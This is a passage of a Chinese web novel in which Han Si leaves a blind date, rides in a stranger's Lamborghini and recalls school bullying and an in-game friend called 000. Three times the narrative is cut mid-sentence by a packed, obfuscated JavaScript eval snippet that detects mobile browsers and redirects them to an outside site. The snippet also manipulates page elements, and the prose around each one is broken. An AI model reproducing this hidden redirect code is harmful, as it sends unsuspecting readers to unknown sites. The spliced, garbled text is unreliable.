赵永康欲言又止,又说道:“这家意面不行啊,还没我之前在意大利出差吃的好吃,意大利的意面是真的正宗,你吃过就知道不一样了,和这里的根本不好比,话说回来你会烧饭吗。” 想到自己每天都是便当和向隔壁阿姨蹭饭的生活,韩思眉头微皱:“不太会。” 赵永康大气挥手:“没事,不会可以学。” 他又有点疑惑地问道:“你怎么一直在看窗外?窗外有啥?” 窗外的那个奇怪的男人还没有走,不知什么时候,他已经是面朝餐吧的方向而坐,似乎在看窗内的灯光摇曳。 在韩思转头的瞬间,他微微一动,扬起头,露出清晰的下半张脸,依稀能见他勾起的薄唇唇角,好像在笑。 视线跨越玻璃窗与鼎沸人声相隔,交汇,又触之即分。 韩思转头,礼貌笑道:“没事,我就看看雨什么小。” 23. 蝴蝶(5) 抛去他的曾经,赵永康也算是个不赖的男性,也只是偶尔有点大男子主义,就算韩思性格冷淡不怎么说话,他也会找话题聊避免冷场;晚饭结束后也会主动提出他来埋单。 走出餐厅的时候,赵永康也先一步推开了玻璃门,热情提出送她回家。 哪怕谈起曾经,说起从云舒他们,他也是满满的歉意以及对潘邢的批判,充满正义。 他还有拿得出手的工作和知根知底的家庭背景,和自己相似的生活轨迹,较好的经济状况能让他组建家庭后在老家过上小资稳定的生活,他甚至话里话外,都隐隐透露出要是在一起的话,他一个人养家就够了。 工作结婚生子,接着便是在柴米油盐里变老、死去,其实母亲说的话也没错,单从现实角度,赵永康是个不错的结婚对象。 大多数人的婚姻都是平凡的,稳定不争吵不出轨都是幸福,谈何爱情。孩童才会相信童话故事,在年少时的悸动里念念不忘。 韩思喝完最后一口柠檬茶,空瓶“哐啷”一声扔在垃圾桶里,那个坐在室外的奇怪男人早就不见了身影,就好像方才是幻觉。 她拒绝了赵永康送她回家的邀请,一则接近两小时的路程太远,二则不想让他知道自己住在哪里。 所以打算到地铁站就分道扬镳。 雨势没有变小,风让雨滴斜着打落,出了餐吧两人各撑一把伞,也照旧溅湿了半边肩膀,走在地铁站的路上,赵永康忽然停下脚步,说:“等一下。” 他拐进了一家花店。 韩思抬头扫了眼,这家花店的门头上挂着“光合森林”的标志,里面的装修也如森林般满是绿意堆叠,绿丛里是遍地开得绚烂的鲜花争奇斗艳,无论是红黄蓝绿,暖光等下,每一束都极具强烈色彩,热切张扬。 赵永康都走进去了,他的心思自然很好猜,只是没想到他还挺有哄女孩子的方法。 外面的雨太大,干等着还有点冷,韩思也跟着推门而入,玻璃门推开的瞬间,叮叮当当的风铃被风吹起,浓郁花香扑面而来。 店员却出人意料,是个盘着头发的老阿姨,上衣是旗袍领,下裙是条浓绿色有些老气的褶裙,正在和赵永康沟通。 赵永康一见韩思进来,就略不好意思道:“你怎么进来了?” 韩思莞尔一笑:“来看看你打算做什么,要不我出去当没看见。” 赵永康赶忙回道:“不用不用!你就在这里吧,我马上就好。”他又转头说了两句,那阿姨便转身撩开帘子去了后边儿。 韩思注意到结账台面上放着几个铁盒,铁盒里头满是五颜六色的花瓣,每片都有些不同程度的褶皱或枯萎,大概是那些没来得及卖出去就枯萎不再好看的花,被放在这里任由顾客自取。 这家花店店面不大,除了韩思和赵永康外,还有两人也在挑花束,倒显得有些局促,她便退后几步在角落里等着。 站定瞧了几眼,便发觉那两位挑花束的身上衣服颇为眼熟,好像就是不久前在餐厅里见到的那对过生日的学生情侣,倒也缘分。 男孩子给女孩子订了束花,但女孩子好像不太满意的样子,她蹲在地上,正重新挑选合适的搭配嘟囔着小声吐槽:“你这审美好烂,怎么能让店家大红配大绿,分明这么好看的花……” 估计是太全神贯注了,她都没发觉她的男朋友已经悄悄去结账台面,又悄悄地抓了一大把花瓣,指尖缝里都夹着,最后悄悄地走到了她的身后。 花瓣落下,五颜六色落了满满一头发。 男生捂着肚子笑得很欠扁,女生也不失所望,刚站起身就握紧拳头打过去,打得他落花流水,挂在女孩子头顶的花瓣在两人打闹里飘落。 韩思觉得好笑,但又有点说不上来的难过,回忆还没来得及蔓延开,肩膀就倏然被人拍了拍,转头是赵永康有点腼腆的脸。 他手里拿着一捧花束,好像是店员现包的,颜色是莫兰迪色系,偏灰调色搭配温和,牛皮纸包着,每朵都开放得漂亮,却又不张扬,好像在害羞着等一个夸奖。 “那个……韩小姐,这个送给你。” 韩思接过,眉眼弯弯,答道:“谢谢,包得真漂亮。” 赵永康便也跟着说:“我也觉得这花色好看,没想到这小花店还有点东西,这束花温和内敛的气质,我一眼就觉得它特合适你。” 韩思诚恳道谢,又幽默调侃:“感觉你比高中帅了很多,还挺会撩的,高中后也没少谈过吧。” 赵永康有点愕然,似乎韩思并不像他了解的那样安静内敛,她竟会主动说这些调侃的话,在收到花束后,她忽然鲜明生动了起来。 也许这是个好兆头?他挠挠头有些羞赧,“我也没有谎报,你这不是没问我么,也就谈了三四五个,都是我被甩了。” 韩思低头看着手中楚楚动人的花束,她确实是发自内心地夸赞,毕竟谁会不喜欢被人送上一大捧鲜花呢。 只是倘若在年少时收到过的花束太惊艳,便会令后来的都黯然失色。 决定在很早之前就已经做好,自欺欺人没有用,只让她再度发觉原来她的决心,比她想的还要深。 真正的自欺欺人,是骗自己已经都过去了。 见自己的手艺被夸,店员阿姨客气道:“花再好看,也是陪衬,自然没有人好看。” 韩思笑道:“客气啦阿姨,这么漂亮的花朵,怎么会是陪衬,我厚脸皮地说一句,算是……相互成就吧,我想再订一束可以吗,过几天送到我家。” “那当然好啊。”阿姨来了兴致,掏出手机划拉相册,“姑娘你想要哪种款式的,这些是我之前做过的。” “过几天才要,不着急选,今天天色都晚了,我和他要先回去了。”韩思指指站在一旁嘿嘿笑的赵永康,又从裙子口袋里掏出手机向阿姨道,“先加个好友吧,我扫您还是您扫我?” “都行,我扫您吧。” 推开玻璃门走出花店的时候,外头的雨势也丝毫没有减小的迹象。 忽然听见背后传来了女孩子的道歉,只听她朗声道:“阿姨我们两个会打扫干净的,尤其是这位兄台,他保证不打扫干净不出门。” 韩思回头望了眼,那女生在说话的同时,还踢了那男生一脚,似乎挺用力,踢得男生身形微晃,踉跄了几步,他因害臊而压低的声音嗡嗡地,像是蚊子叫:“我扫我扫,不好意思阿姨,那个扫帚在哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660303|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “那两人还是学生吧?刚在餐厅里好像也碰到了。” 韩思收回了目光,没想到赵永康也有印象,她点点头:“刚坐在我们斜对面。” “做大城市的孩子真好,学生时代就能在这种地方消费了。”赵永康啧啧两声,羡慕之情袒露,“不过有这钱,那女孩子怎么不打扮打扮自己,长得是真不太好看。” 韩思有些讶然:“是吗,我没注意到。” “你是女的,看女人肯定和我们男的视角不一样。”赵永康咧嘴露着大牙,他用赞许的语气道,“你就比她好看太多了。” 赵永康原本以为这种赞美会得到身边人的心花怒放,料想自己应该又扳下一城,胜券在握地等着,然而等了几分钟走出段距离,也只是听见身旁传来句轻轻的“谬赞”。 刚想着急忙慌地趁热打铁补上两句“我不是客套”“我说的是真心话”这类,却听她先一步笑意盈盈地说道:“地铁站快要到了,就在这里告别吧,这样你回家也不绕路。” 她伞撑得较低,路灯下,半张脸藏在伞的阴影里,短裙下笔直的长腿倒是亮得皎白,她挥挥手:“谢谢你的花束。” 赵永康立即回答:“没事没事,应该的。” 看到她转身,赵永康咂巴了下刚刚的对话,心中升起满意。 韩思说这些话应该是能成功的讯号吧?不过自己都这样努力付出了怎么可能不成功,这种处处都留心体贴关怀备至,对付这种孤单没谈过恋爱的女孩子简直是手到擒来。 等她到家了再给她发句消息关心下,趁热打铁。 赵永康正琢磨着怎么能让这事儿更稳妥些,盘算以后日子在老家怎么过,生几个娃,读什么学校,却倏然眼前一亮,被闪烁的猛光打得生疼。 他不由大骂: “靠,谁这么缺德?” 话音未落,便见一辆亮黑色外壳的SUV在不远处停下,车头格栅和保险杠搭配设计独特又犀利,引擎盖是相当有辨识度的Y字型切割,暴雨冲刷,车身流线型的外观有若机甲,泛起冷冽光泽。 就算是沉默的黑色,SUV的车型,仍张扬得不可一世。 赵永康想到这里号称是S市最繁华的路段之一,来来往往都是半百起步的车,出现一辆豪车也不奇怪,他哼哼道:“有什么好装的,就一辆SUV。” 接着他就看见那个从校园到职场,向来都安静内敛,平凡得毫无存在感的女人,走近黑车,打开车门,收伞上车,动作间没有任何的言语滞涩,一气呵成,就好像双方熟悉得惊人。 赵永康疑窦丛生,他打开手机屏幕,却发现和韩思的聊天框里有条醒目的转账,算算时间,好像在花店的时候就发了。 备注是花束的钱和晚饭的AA。 下一条是客气的道歉和祝福早日找到良人。 最初是又气又挫败,转而冷笑,赵永康不禁把韩思和车主往不正当男女关系上猜测,毕竟那种事见多了,她来相亲也多半是因为到了该结婚的年纪,所以想找个老实人接盘。 真是知人知面知心。 她不是相亲吗,这八卦貌似也是个很好的爆料,看谁还愿意去做冤大头。 24. 蝴蝶(6) 她觉得自己大概是疯了。 外头的暴雨还在下,打在风挡玻璃上,又被雨刮器刮走,雨水让世界变得模糊不清,成了色块与色块的堆叠,又逐渐后退,似乎坠入现实与虚妄的交缝。 车窗玻璃隔音效果很好,车内静谧得犹如与世隔绝的另一片时空,没有人开口,便只有车子行驶时产生的细碎动静。 车内饰是黑色调为主,座椅夹杂显眼的白色缝线,围绕驾驶座是一连串极具科技感的设备。 韩思偷偷摸了下座垫,手感貌似是真皮,就算是她这种对车一知半解的外行,也能看出来这挺贵的。 坐姿更瞬间端正些,小心翼翼地收起湿漉漉的、还在嘀嗒的伞,尽量缩小雨滴弄脏地毯的范围,接着又没忍住转头盯着旁边靠背上显眼的标志,在心里默默拼上面写的字母。 LAM……HINI 刚拼完就听见略带揶揄的声音从前头传来。 “不要拘束,你似乎是自愿上来的吧。” 通过后视镜的反射,两道视线似乎在空间的某一处碰撞,一触即分。 用‘似乎’是因为,那人哪怕在车上,也照旧墨镜口罩外套全副武装,只是在说话时微抬了抬头,也不知他墨镜后的视线究竟落在何处。 气氛随着他的打趣,些许缓和,隐隐能闻到车内淡雅干净的草木清香。 不过当然韩思还是正襟危坐着。 她确实是自愿上来的,不可否认一腔冲动也是自愿的一种。 十分钟前,这辆黑色的兰博基尼就在道路边上停下,车窗徐徐降落,坐在驾驶座上的男人松开方向盘,小幅度歪头问道: “上车吗?雨很大。” 韩思没自恋到隔着墨镜看不清脸都能觉得他在叫自己,更何况还是个陌生人,尽管这位陌生人经常因为巧合而碰到。 她只是和周遭的人群一样,碰见了点动静就伫足看两眼,大概是刻在骨子里的吃瓜心态。 看了眼觉得没啥意思就可以走了,雨伞在风雨里飘摇,袜子湿答答也不大舒服,趁早回家比较好。 那人忽然抬高了点音量,夹在滴滴答答的雨声里,似乎带了点不明确的央求:“别走。” 韩思身体比大脑更快一步,转头的瞬间只听那人又重复了一遍:“别走。” 附近站着的人都默契地向后退几步,留出个半径一米多的圆,此刻圆中心只有韩思一人。 那人胳膊伸出车窗外,语调里有着浅浅的笑意:“我特地暴雨开车来接你,你就这样走了是不是有点薄情。” 即便隔着墨镜,追随她的视线昭昭宣明。 韩思注视他的黑色口罩,仿佛口罩后极为相似的下颌和薄唇还历历在目,几乎是鬼使神差地走上前,在他和不少围观者的注视里,车门打开。 她大概是真的疯了。 视线从窗外落回车里,男人抓方向盘的手很修长,骨节分明,洁白细腻的皮肤和微突的青筋形成鲜明反差。 她深呼吸,艰难开口打破这粉饰的太平:“我们认识吗?” 那人的回答轻飘飘响起,好像蝴蝶掀起薄薄的翅膀在飞:“应该我问你才对吧,我们认识吗?” 左转向灯亮起,方向盘拐弯,那栋天蓝色的天星科技集团大楼消失在身后。 过了转弯角,他略带疑惑问道:“看你的样子,好像是认识我?” 蝴蝶翅膀成为利箭,杀人不见血。 没有得到回答,他又看眼导航地图:“是西沙街那块对吧?看你经常出没在那边的便利店,具体地址要不要说一下,雨很大,我送你到楼下比较好。” 韩思把雨伞收拢放在大腿上,这样最不容易弄脏座垫和车毯,她客气说道:“就近地铁站就好,应该是淮河中路站,谢谢。” 车内看似柔和的木质香其实偏冷调,温度也打得比较低,和雨伞紧贴被打湿的肌肤咝咝冰凉。 他的嗓音略低:“暴雨诶,你下了地铁还要走好一段。” 韩思又重复了一遍:“淮河中路站可以吗。” 这次他倒拒绝得干脆:“不可以。” 车速没有任何降下来的迹象,就这样无视略过站头,疾驰而过。 真是个奇怪的人。 意外地被拒绝了,韩思诧异的同时又反问:“送一个陌生人回家是你的爱好吗?”已经有些咄咄逼人的态度了。 “我没送过陌生人,除你之外我都没送过人。”他好脾气地解释着,仿佛都没听懂她的阴阳,略欠的笑意吟吟,“这车只有你坐过,你放心,我不是绑架犯。” 气质是个很玄妙的东西,就算是同卵双胞胎,每个人身上也都不一样;就算看不见样貌,他就在那儿一站,就给她太熟悉不过的感觉,熟悉得令人恍惚。 所以她知道继续呆在这个与外界隔绝的空间里,会让高高筑起的心墙面临溃不成军,酸楚苦涩从缝隙里徐徐流淌而出,目光盯住他的侧影就难以再离开,幸运的是有冷风能让思绪勉强维持清醒。 驾驶座上的男人好像有所察觉到身后的视线,饶有兴致地问道:“你是不是认识一个,长得和我很像的人。” 敏锐又精准的猜测,一语见血。 “你喜欢他对吧。” 虽然是带笑意、轻松得好像随口一提,但他的声线忽然有点紧绷。 木质香的尾调里能闻出些辛辣呛鼻,掩藏在淡雅干净底下,好像有枯木在焚烧。 也许是因为太像了,这话从他嘴里问出来,仅仅几个字就能把人逼到角落。 “和你没关系。”韩思回答冷淡,被逼到角落就索性图穷匕见。 她飞快移开视线,捏紧伞柄,毫不客气道:“下一个地铁站我要下车,不然我就报警了。” 话都说到这种地步了,几乎撕破脸皮的同时,也分割清楚两人作为陌生人的界限。 那人果不其然轻声应答:“好。” 一路无话。 回来的路上她有点六神无主,甚至那段路是怎么下车怎么转地铁的记忆都浑浑噩噩,幸好大城市标志清楚,看清了也不至于会坐反。 下地铁的时候,暴雨刚刚停歇,空气里是雨后青草的清新,又揉杂泥土上涌的腥。 那种木质香好像还萦绕在鼻尖,经过熟悉的便利店时,下意识往里头看了眼,隔着深夜安静没有车流的马路,这次店面里只有店员一个人在整理货架,显得空荡荡。 视线回落的途中,她看见有个人站在便利店的边上,路灯后头的背光里,又是暗黄色条纹格子的外套,大街上经常能看见的那款格子,不过在他身上却莫名有种贵气,他好像看见了韩思。 刚在车上不还是黑色外套么,她这次难道是真疯了?物理意义上的。 韩思认命般叹口气,随着气叹出去好像三魂六魄的又回来了,摸出手机琢磨了片刻,打字搜索“看到幻觉是不是精神病”“精神分裂的前期症状”“看谁都像前任怎么办”。 仔细对比了下也不像精神分裂,再度抬头时,那穿着格子外套的男人已经不见踪影。 见鬼。 于是她又搜“看到死人是不是见鬼了?”“人死后会回来吗?” 关联搜索是“天星集团的神秘计划——冷冻人复苏,也许曾经成功过。” 带着好奇打开,以为是科普向,结果越看越头皮发麻,推测全往怪力乱神方向走,几条评论还提及了陈渝亮之前说的,在天星死而复生工作组里头看到尸体那事儿,接着又是一条跟评信誓旦旦地说他真看到了死去很久的人,音容笑貌完全一模一样,但没敢上去相认。 这段路还好死不死地黑灯瞎火,只有没几盏路灯还半死不活地亮着,凉风吹过树梢簌簌,水滴从树上的嘀嗒嘀嗒落下。 不禁加快了回家的脚步,就好像后面真的有东西在追。 韩思因毛骨悚然而关掉页面,结果又有点不死心,她又打开拉到那条跟评,点击头像发起私聊。 “你真的看到死人复活了?” 暂时没有回复。 边走边看手机,一路上凭着肌肉记忆总算到了家楼下,再看屏幕已经显示接近十一点了。 楼底下的长凳子上坐着个阿姨,走近看有点眼熟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678554|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是住在隔壁的胖阿姨,她在夜空下念念有词,不知道的人要是猝不及防撞见了,只怕得吓一跳以为撞精神病了。 夜深了空气里很安静,虽然她语速快口齿含混,但仍能听见几句“求求我家宝贝快快安康”“求求我家宝贝明天复诊顺利”这类的祈求来回念叨。 韩思没发出声音,悄悄从她身后经过,脚步轻轻地上了楼。 这个阿姨没有精神病,她做的菜还特别好吃,没工作退休了空余时间大把,她闲下来就喜欢对着小视频软件研究新菜谱,换着花样做美食。 然而世间大多人都有着各自的不幸,然而大多数人又拥有着在面临不幸后才会爆发出蓬勃的、对所爱之人的爱,她们比起过去更努力热爱生活,并希望能用它来传达坚持活着的信念。 阿姨女儿精神和身体健康上都出了点问题,所以从老家来到了S市,这个治疗精神疾病最优秀的城市,他们租了间郊区小小的屋子,为了攒钱治病,他的丈夫也常年在外打工。 在韩思住进来的第一天,胖阿姨就很坦诚地说了这件事,手里递过来包塑料袋,袋子里装的是鼓鼓囊囊的糖果零食之类,她不大好意思地解释要是半夜听见有人在哭在尖叫不要害怕。 说话时她家的门刚好开着,韩思偶然向内一瞥,看见了个瘦得形销骨立的女孩子。 今天,这个女孩竟破天荒地出了家门,她坐在门外的台阶上,地面很脏灰扑扑的,所以她垫了个报纸在身下,见到韩思上楼,便往边上挪了挪,留出一人通行的通道。 韩思经过的时候小声提醒;“你妈妈好像在楼下。” 夜深人静,女孩子的回答也很轻:“嗯,我在这里能看见,我对不起她。” 闻言韩思也回头看了眼,透过一条条竖直铁条组成的防盗门,确实能看见一个有些佝偻的,胖胖的背影,以及层层楼房。 女孩抱着自己的膝盖,完全不像是精神病人,却像是一片被雨打风吹去的树叶。 “韩思。”她突然叫住了韩思,“谢谢你,还有对不起,当时我住院了没办法站出来替你作证,你那段时间一定过得很痛苦。” “我真的没有你勇敢,你能走出来我却一直留在原地,还拖累了我的爸爸妈妈。” 没想到勇敢这样的标签也有一天能贴在她这个胆小鬼身上。 韩思停下脚步,叹了口气:“我在经过你妈妈的时候,我听见她在祈祷说我家宝宝快快安康。”今天叹的气好像把灵魂都抽干了。 她在女孩的边上蹲下:“所以你千万不要说丧气话,也不要自责了,你的家人在全心全意爱着你,会没事的。” 风刮过树梢,簌簌的生机吹皱死水般安宁。 韩思的声音柔和有力,隐约能听见些温柔的笑意:“再坚持一下吧陈岁安,触底一定会反弹,就像善恶到头一定有报。” 从蹲下后的角度望出去,刚好还能看见大片大片的夜空,乌云被风卷走,雨后的夜空有细碎星辰闪烁。 昏暗的楼道灯看不清脸,却能听见陈岁安的回答微微有些哽咽,“嗯。” 那种在绝境里爆发出的蓬勃爱意,让破烂的生命得以苟延残喘。 因为曾拥有过,所以她也能感同身受。 陈岁安又忽然道:“韩思,你知道吗,你刚刚说话的时候,语音语调,都特像曾经站在你边上的那个男生。” “我听我妈妈说了你和他分手的事情。要不要再考虑一下?他好像特别爱你,当时高三研学旅行的时候,他还给你放了超级大烟花。” 韩思龇牙咧嘴,关注点没忍住有点歪:“你怎么知道是给我放的?” “HENS啊,拼一拼就能猜到。” 韩思咬牙切齿:“那你们都看到了?都知道了?” “啊?不过也不多,就我们在酒店外面的几个人看到了,十几个吧。” “……” 零零零那个丢人现眼的玩意儿。 看在他死都死了的份上,就不追究了。 她握在手里宁愿被扎伤也不肯放手的不仅仅是个电子蝴蝶,还是个死掉的电子蝴蝶。 25. 飞蛾(1) 秉持多一事不如少一事的理念,那天发烧住院的事,韩思也没和她的母亲说过。 班主任大概也没想到会有能开出医院病假单,结果家人都不知道自己孩子住过院的事,所以也压根儿就没向韩思母亲提起过。 重回学校的时候,潘邢他们仍旧是那副吊儿郎当下课就跑厕所里抽烟的样子,只不过非常让人意外,他们组团欺负班级里从云舒的次数变少了,面对韩思更是报以无视的态度。 听班级里那些女生聊,是因为陈岁安的家长在她请假住院的那天来学校里闹过了。 陈岁安举报潘邢他们校园霸凌,那段时间校园霸凌这四个字恰巧在风口上,抓得挺紧,他们几个相关的都被叫去校长办公室训斥过一顿,只不过碍于没找到直接证据故没能再进一步追究,就此作罢。 听到这儿的时候韩思还思考过,没有直接证据是什么个意思。 就算没有监控影相、没有造成实质伤害,但班级里那么多的学生,不都是目击证人吗。 她边整理书桌边又想,也许是因为这是件屡见不鲜的小事,所以不值得大张旗鼓地去调查;也许是校领导不愿意事态扩大,担心在媒体添油加醋的播报里学校名声变差;也许是考虑到所有人都在高三的关键时期,最好不要被外界所干扰。 总之肯定是有它的道理在。 另外至少现在看上去,情况似乎是在日渐好转,高三学业压力大,慢慢地,这个困惑就被垫在各种数不尽的数学题语文阅读英语单词后头,抛之脑后了。 至于《仙缘》那边。 韩思觉得被人欺负是件挺丢面子的事,她脸皮薄也不想被人看不起,尤其是喜欢的人面前,因此她绝不会讲她在学校里被潘邢他们骚扰过,更何况以什么立场诉苦呢?零零零当时愿意聆听愿意哄她已经算是意想不到的了。 好像也算因祸得福?他那些认真说的话犹在耳畔,一想到就耳朵烫烫的,还顺便白嫖了一次私人医院之旅。 只是少女的心绪有点雀跃又有点难过,她难过于自己这次心动的种子恐怕不仅是发芽成小苗苗,还有可能势如破竹难以抵挡。 在语文课不想听课又不困的时候,她撑着脑袋在桌上拿起铅笔,笔尖在试卷空白处圈圈画画,先是打个草稿,又逐渐照着记忆里的模样细化。 已经有些凉爽秋意的风从窗外吹来,吹动发梢,余光看老师走下讲台,她飞快地拿笔袋遮挡,幸好语文老师年纪大,走到前三排就折反回讲台。 韩思挪开笔袋,自己的半成品画作映入眼帘,熟悉的眉眼熟悉的发型,再次意识到画的人是零零零后,她不敢再看,赶紧用橡皮擦得一干二净,用的力气之大好像在否认自己会做这种傻事。 可是脸颊的些许升温在短时间里降不下来。 虽说零零零提到过的‘恨一个人恨之入骨’让韩思有点在意,但他好像并不愿意提起他的现实经历,回忆之前的旁敲侧击,只要是和现实有关的他一概转移话题。 韩思转念想她也有不愿意说的话,也许在某个时刻会自然而然地说出来吧。 于是他们非常默契地都没再提起那个互相袒露真心话的夜晚。 喜欢上一个人也是有好处的,例如平凡枯燥的高三生活也似乎有了盼头,韩思开始期待第二天的到来,珍惜登上游戏后的每一次见面,每一道合力解答完的题目,还有少年偶尔伸手抽走笔改答案时,指尖与指尖的触碰。 坐在百花谷的草地上,有时候沉醉忘形了盯着零零零精致的侧脸看,就会被他当场抓包。 少年放下试卷,从检查批改中抬头,水笔在他修长的指尖里灵活地转圈,他眉尾微挑,道:“你在看什么?” 真怀疑他是不是视线范围有三百六十度。韩思一脸正气地回答:“看题目。” “那你说说你这题错在哪了?” 韩思凑过去看他手上的卷子,认真思考后答道:“语法?这题我翻完自己也觉得拗口。” “汉斯。” 见零零零的眉眼含笑,韩思就忽觉不妙,果不其然他调侃道:“我刚在圈划的是数学题。” 韩思恼羞成怒地夺过数学卷子,道:“……那你把两张试卷都拿出来干什么?” 零零零一本正经:“验证一下是不是有人在撒谎。” 零零零还是一如往常地欠兮兮,就这样在学校做题在游戏做题中,日子流逝得很快。 南方小城的春秋两季特别短暂,一晃而过,随着金秋十月的最后一天过去,凉爽的秋风就已经微微夹带寒气了。 十一月头上也有次月考,也许是上次考试被从云舒举报了作弊的事,这次的月考明显比之前严格了不少,监考老师频繁徘徊在座位座位之间的过道里,而韩思的考试座位也和潘邢他们差了十万八千里。 坐她附近的男生虽然也和潘邢厮混在一块,但显然也没潘邢那胆子,也就逮着韩思放在课桌边角的答题纸抄抄,没制造什么大动静。 十一月的月考也算顺利落下帷幕。 不过十一月的第一周周五放学回家的时候,韩思却发现家门口站着个外卖装扮的年轻小哥,正困惑这人是不是跑错了,她微微蹙眉上前问道:“你好,请问你找哪户人家?” 小哥看到有人来瞬间眼睛亮了下,问道:“您是汉斯小姐吗?” 闻言韩思的目光更加警惕。这陌生人为什么会知道她的名字?而且他的口音怎么怪怪的。 接着就见那小哥慌张辩解:“别担心别担心,您是不知道您家人给你订了我们酒店的配送吗?” 他又从兜里摸出了张纸递过来,抬头写着xx酒店配送签收单,收件人姓名赫然是【汉斯小姐】四个大字。 韩思神色略复杂,是‘汉斯’不是‘韩思’,难怪这名字念起来怪怪的。她又翻看纸张:“那这是谁定的?你知道吗?” 那小哥挠头讪笑道:“不好意思,单子上没写的我也不太清楚,因为之前也没人会问……总之这个问题我会向公司反馈下。” “没事没事。” 只是本来还指望能从这里为突破口,找到点关于零零零显示身份的蛛丝马迹。 她扫了眼满满当当的菜篮子,说道:“您不着急吧,不着急的话我先问问我朋友,很快。” 小哥立刻回应:“不着急不着急。” 于是她掏出了手机朝菜篮拍张照片传过去,文字还没编辑好,对面秒回复:“Yes,是我。” 再结合他手绘三个蛋的头像,极具幽默感,甚至都能从文字里听出他得瑟的语气。 韩思又在手机上问零零零:“这些是多少钱啊?” 这次的回复等待了片刻。 不过无论是什么回答韩思也不好意思退,等待的间隙里在签收单上签好字递过去,送走小哥,又把菜篮子挪进家门。 打开手机。 000:你开个游戏,我挺好奇。 不得不说《仙缘》里推出的现实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703469|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投影功能还挺强大,能把一个千里之外的人分毫毕现地投影出现在她家里。 零零零没办法接触实物,所以只能由韩思蹲在地上扒拉菜篮,她一件一件地把东西从菜篮里捡出来。 “这个是花蛤蒸蛋、这个是蒜蓉粉丝虾,这个是虾滑……怎么这么多海鲜?我开海鲜大排档啊?”她没忍住吐槽,又忽然福至心灵般想起了什么,狐疑地看了眼零零零。 零零零悄悄地移开视线, 韩思笑出声:“是因为我之前说要吃海鲜面吗?” 也许是因为投影,分辨率更高,而同时窗外洒下的夕阳也刚刚好,竟铁树开花般,看到零零零的耳垂微红。 少年长又密的睫毛被落日余晖镶上金边,又在下眼睑打落层阴影,精致的五官朦胧在光中,就好像光本身。 韩思揉揉眼睛,几乎不敢相信那厚脸皮的人会因为简单的一句话脸红,刚想抓住这千载难逢反败为胜的机会,就听零零零先一步扬声道:“你眼睛要是痛了就赶紧闭上休息,这样揉别揉瞎了。” 他又唇角勾起笑容,俯身靠近故意道:“还是说你被我感动哭了啊,让我看看你的泪水。” ……他还是一如既往地欠。 “东西太多我一个人来不及吃,这些我明天再吃。”韩思边解释边打开冰箱把菜品一一塞进去,原本空空荡荡只有几包榨菜孤零零躺着的冰箱,瞬间被各种小菜堆满。 零零零活像个幽灵般跟在后头,语调微微上扬:“这就是你之前和我说的,一个人生活也能过得很好?” “我什么时候说过?” “一个月前,生病却拒绝下线的时候。” 他怎么记性也和人机一样,连这么随口提的一句话都能记住,她本人都忘了自己什么时候说过这句话了。 这酒店送来的菜都是半成品,只需要微波炉或者锅里简单加热下就能吃了,对韩思这种做饭手残党也友好。 捣鼓出来两菜一饭也就十分钟功夫,韩思刚吃两口看看熟没熟透,就听零零零的声音又从身后传来:“怎样?合口味吗?” “还不错,比学校食堂做的好吃多了。”来自她的真实评价。 零零零笑道:“那以后就长期订购了。” “等等,你还没回答我,这多少钱。” 零零零倒是顾左右而言他:“你要好好吃饭,准时吃饭,尤其是高三这个时间段,你还生病了,生过病更要好好注意饮食,万一又跑趟医院呢,还是住院比较贵吧,不要因小失大。” 他又故作心疼道:“好好吃绝对不能扔,这都是我做‘陪玩’赚的,你实在想浪费也千万别让我知道。” 韩思嚼巴嚼巴咽下嘴里的虾仁,抗议道:“我没浪费过粮食,话说回来这个你定了多久啊。” “不久,就高考结束后过会儿。”他特自豪臭屁的声音在身后响起,“感激我吧,用好评来砸死我吧。” 零零零早就料到她欲言又止的模样还想接着说什么,少年手支着桌面凑近,抢先一步道:“另外这家定了不能退款,你别想了收下吧,实在想还等毕业赚钱了再还,就当你欠我点钱。” “霸王条款啊。”韩思余光就能瞥见少年洋洋得意的笑容,没多说算是默认下了这霸王条款,大不了以后再还就是了。 反正以后的路还很漫长。 她又忽然想起了件事,道:“等会儿,下周的能不能别订,下周我们学校有研学活动不回家,我们要去S市。” 26. 飞蛾(2) 在零零零的督促下,三餐规律作息规律的日子又悄然过去了两个月,日子从初秋来到初冬,天气渐渐变冷,圣诞节悄然临近。 研学旅行是学校的传统项目,每一届高三的上半学期都会有,说是研学去大学去博物馆参观学习,回来还要写感想收获。 但实际上对这群学生来说,这是个能过夜的集体秋游,至于说真材实料地学到什么东西,那基本是没有的。 整齐排列的大巴车清晨就载着学生们浩浩荡荡地出发,迎着刺眼朝阳驶上高速公路。 